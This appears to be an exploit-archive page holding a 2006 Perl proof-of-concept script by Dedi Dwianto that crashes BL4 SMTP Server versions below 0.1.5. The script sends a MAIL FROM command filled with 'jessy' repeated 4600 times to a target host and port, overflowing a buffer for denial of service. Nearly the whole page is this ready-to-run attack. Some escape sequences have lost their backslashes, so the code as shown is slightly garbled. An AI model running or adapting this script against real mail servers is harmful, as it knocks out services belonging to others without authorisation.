[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC
# Published : 2006-04-27
# Author : Dedi Dwianto
# Previous Title : Golden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC
# Next Title : OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit


#!/usr/bin/perl

use IO::Socket;
use Socket;

my($socket) = "";


if($#ARGV < 1 | $#ARGV > 2) {usage()}

if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" };
$adr = $ARGV[0];
$prt = $ARGV[1];

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prtn";


        print " -- Connecting To SMTP server at $adr port $prt ... n";

        sleep(1);

        print $socket "EHLO yahoo.comrn" and print " -- Sending Request to $adr .....n" or die "Error : can't send Requestn";

        sleep(1);

        print $socket "MAIL FROM:" . "jessy" x 4600 . "rn" and print " -- Sending Buffer to $adr .....n";

        sleep(1);
        printf("[+]Ok!n");
        printf("[+]Crash service.....n");
        printf("[~]Done.n");

        close($socket);


sub usage()
 {
 print "n=========================================rn";
 print "     BL4's SMTP server Remote DOS rn";
 print "=========================================rn";
 print "       Bug Found by Dedi Dwianto rn";
 print "    www.echo.or.id #e-c-h-o irc.dal.net rn";
 print "      Echo Security Research Group rn";
 print "=========================================rn";
 print " Usage: perl bl4-explo.pl [target] [port] rnn";
 exit();
 }

# www.Syue.com [2006-04-27]